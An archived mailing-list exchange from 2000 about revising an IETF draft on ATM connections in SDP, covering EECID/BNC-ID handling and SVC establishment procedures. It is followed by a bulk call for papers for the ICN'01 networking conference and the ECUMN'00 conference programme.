> 5.7.2 states: 
>
> "In the forward SVC establishment model, the call-originating gateway
> initiates SVC establishment and transmits an eecid to the call-terminating
> gateway via SDP."
>
> In BICC forward call model it is the call-terminating gateway which sends the
> BNC-ID/EECID to the call-originating gateway (via SDP), which then returns
> the EECID value within the SVC extablishment signalling.
>
> Equally: 
>
> "The value of the eecid attribute values needs to be unique within the
> gateway initiating the SVC set-up but not across multiple gateways. "
>
> The value should be unique within the gateway *terminating* the SVC. Since
> the value is generated and processed only by the Gateway terminating the SVC,
> and never by any other node, the sentance following the one quoted above is
> not needed, and neither is the qualification of the EECID with an ATM
> address.
>
> The mechanism is symetrical between forward and backward call models. In both
> cases the gateway *receiving* the SVC request is the one which generated the
> EECID value. The value is first passed in the Call Control signalling from
> one end to the other, and then back in the SVC establishment. In this was the
> SVC establishment can be correlated with the Call at the end receiveing the
> SVC request.
>
> Well, the above goes if you want EECID to be synonymous with BNC-ID as stated
> in the draft. 



EECID is meant to be synonymous with BNC-ID. I admit that the forward call
model is muddy as described in the ID. I will clean it up and align it with
Q.1901 (BICC). I understand the BICC model - there should be no problem doing
that.


>
> Forgive me if I haven't read the draft carefully enough, but I didn't spot
> any procedure definitions. For example, I can see how to code an ATM end
> system address in the c= or m= line, and an eecid in an a= line, but what is
> the procedure I should use, say, for backward SVC establishment. I need to:
>
> (1) request the eecid and media gateway address of the originating MG from
> that MG 
> (2) receive a response from the O-MG containing that information 
> (3) send the eecid and O-MG address to the terminating MG, with an
> (implicit/explicit) indication that SVC setup should be initiated
>
> (4) receive a response from O-MG to O-MGC indicating that an SVC has been
> extablished 
> (5) receive a response from T-MG to T-MGC that SVC confirmation has been
> received. 



There is a brief mention of the procedures. I can add procedure details to a
later draft. I intend to add examples of how these parameters are to be used.
This is stated at the end of the document.

It is too late to add the procedures to the Internet Draft that will be
reviewed in Pittsburgh. I will publish an ID soon after that. I stated in the
last part of the document:

    "In the authors' opinion, the following tasks need to be done to
    complete the definition of the basic conventions needed to describe
    ATM connections in SDP.
     
     -  Additional, detailed examples of  the use of these SDP conventions."


     -  Additional, detailed examples of  the use of these SDP conventions.


>
> If these procedures, and the formats & codes which go with them, are clear in
> the IETF, there is some chance of preventing ITU-T Study Group 11 inventing
> its own extenstion to Megaco for this purpose.


There is no need for that. A lot of work has been put into this draft, and
there is no need to start over. Please work with me in ensuring that this
document is complete. It is near complete, I believe. I have been consistently
open to inputs, and I have responded to them promptly. The inputs I have
received have been mostly in the last month - there was no attention paid to
the draft before that. If it is the intention of the ITU-T SG 11 to do this
thing again from scratch, then please let me know and I will stop my work in
this area.


>
> Regards, 
>
> Mark Watson 
> Nortel Networks 
>
> -----Original Message----- 
> From: Rajesh Kumar [<mailto:rkumar@cisco.com>mailto:rkumar@cisco.com] 
> Sent: 30 June 2000 22:44 
> To: Rosen, Brian; 'Natalia Syracuse'; internet-drafts@ietf.org 
> Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org; jo@tzi.uni-bremen.de;
> atmsdp@eng.fore.com; msf-media@msforum.org
>
> Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt 
>
>  Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the
> IETF site. It obsoletes 
>  draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should be   removed. Please
> have it placed 
> in the IETF site, after checking if it generally legible and well-formatted
> (Text files sometimes 
> behave idiosyncratically). If formatting is needed, let me know as soon as
> possible. 
>
> Note to Jeorg: We exchanged emails earlier about allocating a 30 minute slot
> at the Pittsburgh IETF 
> MMUSIC session. Please let me know the date of the review, and the procedures
> for moving it 
> into standards track expeditiously. That will still give us 6 months of
> industry review on the          
> mailing list 'atmsdp@eng.fore.com' before it moves into rfc status. 




Thank you very much.

Rajesh Kumar

^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 



Thank you very much.

Rajesh Kumar

^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_101481542==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font color="#FF0000">Mark,<br>
<br>
I hope you didn't miss my responses to your comments below.<br>
<br>
</font>At 09:54 AM 7/20/00 +0100, Mark Watson wrote: <br>
<br>
<font size=2><blockquote type=cite cite>Rajesh,</font> <br>
<br>
<font size=2>Section 1:</font> <br>
<br>
<font size=2>&quot;Applications in which existing path resources are
assigned to service connections. These resources could be AAL1 PVCs (or
SPVCs), AAL5 PVCs (or SPVCs), AAL2 single-CID PVCs (or SPVCs), or
channels (CIDs) within AAL2 PVCs (or SPVCs) that multiplex multiple
CIDs.&quot;<br>
</font><br>
You have missed the case in which a channel within an existing AAL2
multiple-CID *SVC* is used. </blockquote><br>
<br>
<font color="#FF0000">Yes, I will add it.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>5.7.2 states:</font> 
<br>
<br>
<font size=2>&quot;In the forward SVC establishment model, the
call-originating gateway initiates SVC establishment and transmits an
eecid to the call-terminating gateway via SDP.&quot;<br>
</font><br>
In BICC forward call model it is the call-terminating gateway which sends
the BNC-ID/EECID to the call-originating gateway (via SDP), which then
returns the EECID value within the SVC extablishment signalling.<br>
<br>
Equally: <br>
<br>
<font size=2>&quot;The value of the eecid attribute values needs to be
unique within the gateway initiating the SVC set-up but not across
multiple gateways. &quot;<br>
</font><br>
The value should be unique within the gateway *terminating* the SVC.
Since the value is generated and processed only by the Gateway
terminating the SVC, and never by any other node, the sentance following
the one quoted above is not needed, and neither is the qualification of
the EECID with an ATM address.<br>
<br>
The mechanism is symetrical between forward and backward call models. In
both cases the gateway *receiving* the SVC request is the one which
generated the EECID value. The value is first passed in the Call Control
signalling from one end to the other, and then back in the SVC
establishment. In this was the SVC establishment can be correlated with
the Call at the end receiveing the SVC request.<br>
<br>
Well, the above goes if you want EECID to be synonymous with BNC-ID as
stated in the draft. </blockquote><br>
<br>
<font color="#FF0000">EECID is meant to be synonymous with BNC-ID. I
admit that the forward call model is muddy as described in the ID. I will
clean it up and align it with Q.1901 (BICC). I understand the BICC model
- there should be no problem doing that.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>Forgive me if I haven't
read the draft carefully enough, but I didn't spot any procedure
definitions. For example, I can see how to code an ATM end system address
in the c= or m= line, and an eecid in an a= line, but what is the
procedure I should use, say, for backward SVC establishment. I need
to:<br>
</font><br>
(1) request the eecid and media gateway address of the originating MG
from that MG <br>
<font size=2>(2) receive a response from the O-MG containing that
information</font> <br>
<font size=2>(3) send the eecid and O-MG address to the terminating MG,
with an (implicit/explicit) indication that SVC setup should be
initiated<br>
</font><br>
(4) receive a response from O-MG to O-MGC indicating that an SVC has been
extablished <br>
<font size=2>(5) receive a response from T-MG to T-MGC that SVC
confirmation has been received.</font> </blockquote><br>
<br>
<font color="#FF0000">There is a brief mention of the procedures. I can
add procedure details to a later draft. I intend to add examples of how
these parameters are to be used. This is stated at the end of the
document.<br>
<br>
It is too late to add the procedures to the Internet Draft that will be
reviewed in Pittsburgh. I will publish an ID soon after that. I stated in
the last part of the document:<br>
<br>
</font><font face="Courier New, Courier" color="#FF0000">&nbsp;&nbsp;&nbsp;
&quot;In the authors' opinion, the following tasks need to be done
to<br>
&nbsp;&nbsp;&nbsp; complete the definition of the basic conventions
needed to describe<br>
&nbsp;&nbsp;&nbsp; ATM connections in SDP.<br>
&nbsp;&nbsp;&nbsp;&nbsp; <br>
&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp; Additional, detailed examples of&nbsp;
the use of these SDP conventions.&quot;<br>
<br>
<br>
</font>&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp; Additional, detailed examples
of&nbsp; the use of these SDP conventions.<br>
<br>
<br>
<font size=2><blockquote type=cite cite>If these procedures, and the
formats &amp; codes which go with them, are clear in the IETF, there is
some chance of preventing ITU-T Study Group 11 inventing its own
extenstion to Megaco for this purpose.</font></blockquote><br>
<font color="#FF0000">There is no need for that. A lot of work has been
put into this draft, and there is no need to start over. Please work with
me in ensuring that this document is complete. It is near complete, I
believe. I have been consistently open to inputs, and I have responded to
them promptly. The inputs I have received have been mostly in the last
month - there was no attention paid to the draft before that. If it is
the intention of the ITU-T SG 11 to do this thing again from scratch,
then please let me know and I will stop my work in this area.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>Regards,</font> <br>
<br>
<font size=2>Mark Watson</font> <br>
<font size=2>Nortel Networks</font> <br>
<br>
<font size=2>-----Original Message-----</font> <br>
<font size=2>From: Rajesh Kumar
[<a href="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</a>]</font>
<br>
<font size=2>Sent: 30 June 2000 22:44</font> <br>
<font size=2>To: Rosen, Brian; 'Natalia Syracuse';
internet-drafts@ietf.org</font> <br>
<font size=2>Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org;
jo@tzi.uni-bremen.de; atmsdp@eng.fore.com; msf-media@msforum.org<br>
</font><br>
Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt <br>
<br>
<font size=2>&nbsp;Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt
for placement at the IETF site. It obsoletes</font> <br>
<font size=2>&nbsp;draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should
be&nbsp;&nbsp; removed. Please have it placed</font> <br>
<font size=2>in the IETF site, after checking if it generally legible and
well-formatted (Text files sometimes </font><br>
behave idiosyncratically). If formatting is needed, let me know as soon
as possible. <br>
<br>
<font size=2>Note to Jeorg: We exchanged emails earlier about allocating
a 30 minute slot at the Pittsburgh IETF</font> <br>
<font size=2>MMUSIC session. Please let me know the date of the review,
and the procedures for moving it </font><br>
into standards track expeditiously. That will still give us 6 months of
industry review on
the&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
mailing list 'atmsdp@eng.fore.com' before it moves into rfc status.
</blockquote><br>
<br>
<br>
<font size=2>Thank you very much.<br>
<br>
Rajesh Kumar<br>
<br>
</font><font size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
<b>Rajesh Kumar, Ph.D.<br>
</b>Technical Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
^^^^^^^^^^^^^^^^^^^^^<br>
rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
<br>
</font></i><br>

<br>
<font size=2>Thank you very much.<br>
<br>
Rajesh Kumar<br>
<br>
</font><font size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
<b>Rajesh Kumar, Ph.D.<br>
</b>Technical Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
^^^^^^^^^^^^^^^^^^^^^<br>
rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_101481542==_.ALT--


From confctrl-owner  Mon Jul 24 04:00:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA05915
	for confctrl-outgoing; Mon, 24 Jul 2000 04:00:31 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA05908
	for <confctrl@zephyr.isi.edu>; Mon, 24 Jul 2000 04:00:29 -0700 (PDT)
Received: from nscolmar.colmar.uha.fr (nscolmar.colmar.uha.fr [194.167.108.34])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id EAA16351
	for <confctrl@isi.edu>; Mon, 24 Jul 2000 04:01:16 -0700 (PDT)
From: conf@colmar.uha.fr
Received: from colmar.colmar.uha.fr (colmar.colmar.uha.fr [194.167.107.31])
	by nscolmar.colmar.uha.fr (8.9.3/8.9.3) with ESMTP id MAA17189;
	Mon, 24 Jul 2000 12:24:47 +0200
Received: from gtrpc13 (gtrpc13.colmar.uha.fr [192.168.12.51])
	by colmar.colmar.uha.fr (8.8.8/8.8.8) with SMTP id MAA07473;
	Mon, 24 Jul 2000 12:40:51 +0100 (WET DST)
Message-Id: <3.0.1.32.20000724134648.00932100@colmar.colmar.uha.fr>
X-Sender: conf@colmar.colmar.uha.fr
X-Mailer: Windows Eudora Pro Version 3.0.1 (32) [F]
Date: Mon, 24 Jul 2000 13:46:48 +0200
To: conf@colmar.colmar.uha.fr
Subject: Call for papers of ICN'01 & Final program of ECUMN'00
Mime-Version: 1.0
Content-Type: text/enriched; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please feel free to circulate this following :

	- call for papers of <bold>ICN'01</bold> (see
<underline><color><param>0000,0000,fefe</param>http://iutsun1.colmar.uha.fr/=
ICN01.html</color></underline>
) AND=20

	- final program of <bold>ECUMN'00</bold>  (see=
 <underline><color><param>0000,0000,fefe</param>http://iutsun1.colmar.uha.fr=
/ECUMN2000.html</color></underline> )

to interested colleagues.

Accept our sincere apologies if you receive multiple copies.

----------------------------------------------------------------------------=
---

<center><bold>     CALL FOR PAPERS=20

IEEE International Conference on Networking=20

ICN'01=20

July 11-13, 2001 - CREF, Colmar, France=20

</bold></center>

GENERAL INFORMATION=20


The 2001 International Conference on Networking (ICN'01) is sponsored by=
 IEEE/Comsoc, IEEE/Computer, by IEE, by SEE and by WSES. ICN'01 is organized=
 by academic, research and industrial societies will be held at the=
 Technical Institute, Colmar, part of the University of Haute Alsace,=
 France, from Wednesday July 11, 2001 to Friday July 13, 2001. The city of=
 Colmar is ideally situated in the eastern part of France, near the German=
 and Swiss borders. The city of Colmar has been working on its own=
 Metropolitan Area Network (MAN) project, called OASICE, including LAN=
 interconnection, PBX interconnection and interactive video. An exhibition=
 illustrating these topics will be organized for industrial companies and=
 development research institutes.=20

In order to encourage closer interaction between academic and industrial ATM=
 research communities, we solicit both academic research papers and=
 industrial contributions.=20


TOPICS OF SPECIAL INTEREST=20


Topics of interest include, but are not limited to the following:=20

 =20

  Communications switching and routing =20

Communications modeling =20

Communications security =20

Computer communications =20

Multimedia and multicast communications =20

Internet environment =20

Network Management and control =20

Quality of Service (IntServ, DiffServ, =85) =20

Wireless Communications (Satellite, WLL, 3G) =20

Voice over IP =20

Java, Tina, Corba architectures Network signaling =20

ATM networks =20

ATM/IP integration =20

Integrated services =20

Traffic engineering =20

Telecommunication networks architectures =20

Performance evaluation, simulation =20

Mobile agents, active and intelligent networks =20

Applications and case studies =20

Protocol design and evaluation =20

MPLS=20



These topics can be discussed in term of concepts, state of the art,=
 standards, implementations, running experiments and applications.=20


INSTRUCTIONS FOR AUTHORS=20


Mail four papers or E-mail preferably in Word 6 format, or alternately a=
 postscript version of a 2000-word extended abstract summarizing an original=
 work. All the manuscripts must be written in English. The top of the first=
 page of each paper should include the title of the paper, authors' name,=
 position, address, telephone and fax numbers, e-mail of the author=
 responsible for correspondence and a list of four keywords. The deadline=
 for submission of all extended abstracts is December 10, 2000 with=
 notification of acceptance by February 20, 2001. Submission of camera-ready=
 paper is by March 30, 2001.=20

Authors of accepted papers will be invited to submit full-length manuscripts=
 for inclusion in the proceedings with ISBN.=20


All submitted papers should be sent to the following address:=20


Pascal LORENZ=20

University of Haute Alsace=20

IUT - Department GTR=20

34 rue du Grillenbreit=20

68008 Colmar, France=20

Phone: 33 (0)389202366 Fax: 33 (0)389202359 Mobile: 33 (0)603658042=20

E-mail: lorenz@colmar.uha.fr=20


Check our Web page at=
 <underline><color><param>0000,0000,fefe</param>http://iutsun1.colmar.uha.fr=
/ICN01.html</color></underline> for the latest information concerning the=
 conference.=20

Best papers will be forwarded for consideration in a special issue of a=
 journal.=20


TUTORIALS AND WORKSHOPS=20


Tutorials and workshops provide overviews of current high interest topics.=
 Proposals for half of full day tutorials are due by December 10, 2000.=20


INTERNATIONAL ADVISORY COMMITTEE=20


R. Addie (Australia) - University of Southern Queensland=20

K. Begain (Jordan) - Mu'tah University=20

A. Benslimane (France) - University of Belfort-Montbeliard=20

B. Bing (Singapore) - Ngee Ann Polytechnic=20

D. Bonjour (France) - CNET=20

A. Brandwajn (USA) - University of California Santa Cruz=20

J.P. Coudreuse (France) =96 Mitsubishi=20

J. Crowcroft (UK) =96 University College London=20

S. Fdida (France) =96 LIP6=20

B. Gavish (USA) - Vanderbilt University=20

H. Guyennet (France) - University of Franche-Comte=20

J. Halpern (USA) =96 Newbridge=20

Z. Hulicki (Poland) =96 University of Cracow=20

R. Israel (France) - IEEE=20

A. Jajszczyk (Poland) - University of Mining & Metallurgy=20

A. Jamalipour (Australia) - University of Sydney=20

S. Kota (USA) - Lockeed Martin=20

D. Kouvatsos (UK) - University of Bradford=20

S. Kumar (USA) =96 Ericsson=20

G.S. Kuo (Taiwan) =96 National Central University=20

F. Le Faucheur (France) - Cisco=20

M. Lee (Korea) =96 Dongshin University=20

P. Lorenz (France) - University of Haute Alsace=20

H.. Mouftah (Canada) - Queen's University=20

G. Omidyar (USA) - Computer Sciences Corp.=20

J.J. Pansiot (France) - University of Strasbourg=20

M. Potts (Switzerland) - Martel=20

Z. Mammeri (France) - University of Toulouse=20

N. Mastorakis (Greece) - Military Institutions of University Education=20

S. Moyer (USA) - Bellcore=20

R. Muraine (France) - Newbridge=20

G. Pujolle (France) - University of Versailles-Saint-Quentin=20

S. Rao (Switzerland) - Ascom=20

A. Reid (UK) - British Telecom=20

S. Ritzenthaler (France) - Newbridge=20

P. Rolin (France) - ENST Bretagne=20

R. Saracco (Italy) - CSELT=20

G. Swallow (USA) - Cisco=20

H. Tobiet (France) =96 Clemessy=20

M. Trehel (France) =96 University of Franche-Comte=20

V.A. Villagra (Spain) =96 University of Madrid=20

E. Vazquez Gallo (Spain) =96 University of Madrid=20

O. Yang (Canada) - University of Ottawa=20


IMPORTANT DATES=20


Extended Abstract due: December 10, 2000=20

Notification of acceptance: February 20, 2001=20

Deadline for full-length camera-ready manuscript: March 30, 2001=20


---------------------------------------------------------------------------

<center><bold>1st IEEE European Conference on Universal Multiservice=
 Networks  ECUMN'2000

 October 2-4, 2000 - CREF, Colmar, France

FINAL PROGRAM

</bold></center>=20

08:30 - 18:30 Conference Registration


<underline>Monday October 2, 2000

</underline>

09:00 - 09:20 Opening Address=20


09:20 - 10:30 Tutorial Session 1

Internet Services over Mobile and Wireless Networks: Architectures and=
 Protocols

G. Omidyar, Computer Sciences Corp., USA ; M.J. Montpetit, Teledesic LLC,=
 USA


10:30 - 11:00 Coffee Break


11:00 - 12:15 Network Architecture and Convergence

Chair: S. Ritzenthaler, Newbridge, France


MPLS and Next Generation Access Network

A. Kankkunen, Integral Access Inc, USA


Deutsche Telekom's View on Network Convergence

L. Falkenhagen Deutsche Telekom AG, Germany


A Functional Architecture for End-to-end Quality-of-Service in a=
 Multi-domain Network

E. Pagani, G.P. Rossi, University of Milano, Italy


12:15 - 13:00 Panel Discussion 1 - Network Evolution and Convergence


13:00 - 14:30 Lunch


14:30 - 16:15 Traffic=20

Chair: M. Villen, Telefonica I+D, Spain


The Relevance of the Bufferless Analysis for Traffic Management in=
 Telecommunication Networks

G. Hasslinger, F. Hartleb, Telekom Innovations-GmbH, Germany ; M. Fiedler,=
 University of Karlskrona/Ronneby, Sweden


Mapping of Loss and Delay Between IntServ and DiffServ

T. Chahed, G. H=E9buterne, C. Fayet, National Institute of=
 Telecommunications, France


Resource Demand of Aggregated Resource Reservations

J. Ehrensberger, Swiss Federal Institute of Technology, Switzerland


Characterization of the MPEG-2 Video Traffic Generated by DVD Applications

A. Chodorek, Kielce University of Technology, Poland ; R. Chodorek,=
 University of Mining and Metallurgy, Poland


14:30 - 16:15 Interworking between narrow band and broadband networks

Chair: S. Chakraborty, Technical University of Helsinki, Finland


Integrating Euro-ISDN with ATM Technology: Interworking Mechanisms and=
 Services Support

L. Mandalos, K. Leonidou, C. Andreopoulos, J. Drakos, S. Koubias, G.=
 Papadopoulos, University of Patras, Greece


Extending the Internet with the Intelligent Network Capabilities

B. El Ouahidi, M. Bouhdadi, University of Rabat, Morocco ; D. Bourget, ENST,=
 France


A Suitable Service Discipline for ATM-Ethernet Interconnection

J.M. Arco, D. Meziat, B. Alarcos, University of Alcala, Spain


Interoperability of ATM-Ethernet Interworking System: Design and Congestion=
 Control

R. Ouni, A. Soudani, S. Nasri, M. Abid, R. Tourki, University of Monastir,=
 Tinisia ; K. Torki, INPG, France


16:15 - 16:45 Coffee Break


16:45 - 18:30 Routing

Chair: P. Chemouil, France Telecom R&D, France


Adaptive Routing and Load Balancing of Ephemeral Connections

M. Heusse, ENST de Bretagne, France


A new Multi-Services Rerouting Algorithm

A. Gueroui, University of Versailles, France ; L. Mokdad University of=
 Dauphine, France ; J. Ben-Othman University of Paris 6, France


Extending Mobile IP-v6 with Multicast to Support Mobile Networks in  IPv6

T. Ernst, C. Castelluccia, INRIA Rh=F4ne-Alpes, France ; H.Y. Lach, Motorola=
 Labs, France


16:45 - 18:30 Interworking between IP and ATM

Chair: M. Potts, Martel, Switzerland


Topology Optimization of IP over ATM

L. Frelechou, M. Osborne, R. Haas, IBM Research, Switzerland


Resource Reservation with Boomerang via Open Interfaces

M. Maliosz, Budapest University of Technology and Economics, Hungary


Efficient Translation of Network Performance Parameters for Transport of IP=
 Packets over Cell-Switched Subnetworks

J. Schmitt, M. Karsten, R. Steinmetz, Darmstadt University of Technology,=
 Germany


Design of Adaptive Access Network and Control Protocol

H. Nakagawa, I. Kazunari, N. Ohta, NTT Information Sharing Platform=
 Laboratories, Japan


19:15 Reception - Town Hall


<underline>Tuesday October 3, 2000

</underline>

09:00 - 10:45 End to end traffic Control (1)

Chair: U. Krieger, Deutsche Telecom, Germany


Guaranteed QoS for TCP flows in ATM-based DiffServ Networks

T. M=FCller, Dresden University of Technology, Germany


Virtual Buffering Strategy for GFR Services in IP/ATM Internetworks

S.C. Hu, Ming Shin Institute of Technology, Taiwan ; P.C. Wang, Y.C. Chen,=
 National Chiao Tung University, Taiwan ; C.T. Chan, Chunghwa Telecom,=
 Taiwan


An Efficient Weight Assignment Process for GPS Servers

G. Urvoy, PRISM, France ; G. Hebuterne, Institut National des=
 T=E9l=E9communications, France


Some Aspects of RTP - TCP Coexistence in Universal Multiservice  Networks

R. Chodorek, University of Mining and Metallurgy, Poland


09:00 - 10:45 Mobile Networks and Mobile Services

Chair: G. Omidyar, Computer Sciences Corp, USA


Voice Enabled Request and Response for Mobile Devices Supporting WAP=
 Protocol: the Constraints

A. Mohan, Himachal Futuristic Communications, India ; A. Mohan, Indian=
 Institute of Technology, India


IP based enhanced Data Casting Services over Radio Broadcast Networks

W. Kellerer, P. Sties, J. Ebersp=E4cher, Munich University of Technology,=
 Germany


Location-Dependant and Value Added Services (VAS) for Mobile Communications

P. Lorenz, University of Haute Alsace, France ; H. Tobiet, NMG, France=20


The IP Revolution and Potential gains for ISP/Mobile/Fixed Telephony=
 Operators in the Liberalization of Telecommunications

D. Vergados, D. Drakoulis, E. Vayias, J. Soldatos, N. Mitrou, National=
 Technical University of Athens, Greece


10:45 - 11:15 Coffee Break


11:15 - 13:00 Multicast

Chair: G. Girardi, CSELT, Italy


A Scalable Fault Tolerant Approach to Core Election in an Inter-Domain=
 Multicast Routing Environment

M.D.Ech-Cherif El Kettani, ENSIAS, Morocco; Y. Souissi, EMI, Morocco


A New Routing Algorithm for Delay-Constrained Dynamic Multicast

T. Asaka, NTT Service Integration Laboratories, Japan ; T. Miyoshi, Y.=
 Tanaka, Waseda University, Japan


Remote Time-Alignment of Interactive Services through Efficient Multicast=
 Algorithms

A. Borella, G. Cancellieri, University of Ancona, Italy


Key Establishment for IGMP Authentication in IP Multicast

T. Hardjono, B. Cain, Nortel Networks, USA


11:15 - 13:00 IP Test-beds

Chair: H. Tobiet, NMG, France


Real-Time Multimedia Services over Internet

A. Benslimane, Technical University of Belfort-Montb=E9liard, France


Telephony over IP: Theoretical Modelling and Lab Experiments

P. Senesi, P. Ferrabone, G. Gritella, R. Rinaldi, M. Siviero, CSELT, Italy


User-domain Multiservice Architecture for Wired and Wireless IP  Networks

L. Cheng, I. Marsic, The State University of New Jersey, USA


A Testbed Environment for the Performance Evaluation of Modular Network=
 Architectures

D. Maggiorini, E. Pagani, G.P. Rossi, University of Milano, Italy


13:00 - 14:30 Lunch


14:30 - 16:15 Modeling

Chair: G. H=E9buterne, INT, France


Estimation of the Renewal Function by Empiral Data - A Bayesian  Approach

N.M. Markovitch, Russian Academy of Sciences, Russia ; U.R. Krieger, T-Nova=
 Deutsche Telekom, Germany


Modeling Access Networks for Quality of Service

F. Duran, T. Lizambri, S. Wakid, National Institute of Standards and=
 Technology, USA ; D.R. Vaman, Megaxess, USA


Managing Wireless Internet Information of Electronic Advertising

E. Rashid, Y. Yoshioka, Hirosaki University, Japan ; Y. Nemoto, T. Nakamura,=
 Tohoku University, Japan


Performance Evaluation of a full Memory Multidestination Protocol for=
 Satellite Based Reliable Multicast with and without Local Recovery

H. Jianhua, K.R. Subramanian, Y. ZongKai, H. Ping, Nanyang Technological=
 University, Singapore


14:30 - 16:15 Tariffs and Bandwidth Allocation

Chair: P. Lorenz, University of Haute Alsace, France


INEDAC Project: A Tool to Calculate Interconnection Tariff based on a=
 Bottom-up Method

J.A. Portilla, K.D. Hackbarth, A.E. Garcia, University of Cantabria, Spain ;=
 R. W=F6hrl, F. Gonzalez, Institut f=FCr Kommunikationsdienste GmbH, Germany


Auction Method and its Performance in a Dynamic Bandwidth Allocation Service

E. Takahashi, Y. Tanaka, Waseda Universiy, Japan


Multivariable Feedforward Plus Feedback Control for Adapting MPEG Video=
 Streams to Variable Channel Bandwidth

H.F. Raynaud, M. Luong, University of Paris Nord, France


Robust Topology for Enterprise Networks against Diverse Tariff Structures

T. Miyoshi, K. Mouri, Y. Tanaka, Waseda University, Japan ; T. Asaka, NTT=
 Service Integration Laboratories, Japan


16:15 - 16:45 Coffee Break


16:45 - 18:30 End to end Traffic Control (2)

Chair: G. H=E9buterne, INT, France


An Architecture of QoS Services for a Core Internet Network over DTM

C.J. Barenco, Polytechnic University of Madrid, Spain ; A.A. Salona, J.I.=
 Moreno, University Carlos III of Madrid, Spain


Congestion Avoidance for Unicast and Multicast Traffic

A. Dracinschi, S. Fdida, University Pierre et Marie Curie, France


MPOA and QoS Support in LIS Internetworking Environments

I. Erturk, Kocaeli University, UK ; E. Stipidis, University of Sussex, UK


A Method for Increasing Throughput based on Packet Striping

F. Jacquet, M. Misson, IUT of Clermont-Ferrand, France


16:45 - 18:30 Advanced Networking

Chair: G.V. Morson, Cambridge Network, England


A New Network Service Environment using Active Network

K. Widoyo, T. Aoki, H. Yasuda, University of Tokyo, Japan


Adaptive Applications over Active Networks: Case Study on Layered Multicast

L. Yamamoto, G. Leduc, University of Li=E8ge, Belgium


Integrated Performance Monitoring of Client/Server Software

C. Steigner, J. Wilke, I. Wulff, University of Koblenz-Landau, Germany


Who needs Addresses ?

V. Guruprasad, IBM, USA


20:00 Gala Dinner - Restaurant Meistermann


<underline>Wednesday October 4, 2000

</underline>

09:00 - 10:00 Tutorial Session 2

Chair: P. Rolin, France Telecom R&D, France


Active Networks and its Management

M. Brunner, NEC Europe Ltd, Germany


10:00- 10:30 Coffee Break


10:30 - 11:45 New Architectures for New Services

Chair: A. Gravey, ENST-Bretagne, France


A Novel Architecture for Efficient Protocol Processing in High Speed=
 Communication Environments

G. Konstantoulakis, V. Nellas, C. Georgopoulos, T. Orphanoudakis, N. Zervos,=
 Ellemedia Technologies, Greece ; M. Steck, Hyperstone electronics GmbH,=
 Germany; D. Verkest, Interuniversity Microelectronics Centre (IMEC),=
 Belgium; G. Doumenis, D.Reisis, University of Athens, Greece; N. Nikolaou,=
 J.A. Sanchez, Lucent Technologies, The Netherlands


Using T=E9l=E9domotis Interface for a new Multiservice Network applied to=
 Monitoring the Elderly

T. Val, E. Campo, IUT of Blagnac, France ; P. Kauffmann, M. Misson,=
 University of Clermont II, France ; P.Y. Danet, France T=E9l=E9com R&D,=
 France


Video and Interactive Internet access in a DVB Network

R. Jaeger, BetaResearch, Germany


11:45 - 13:00 Panel Discussion 2 - New Architectures for New Services


13:00 - 14:30 Lunch


14:30 Visit of Vialis





From confctrl-owner  Mon Jul 24 05:05:52 2000
Return-Path: <owner-confctrl>
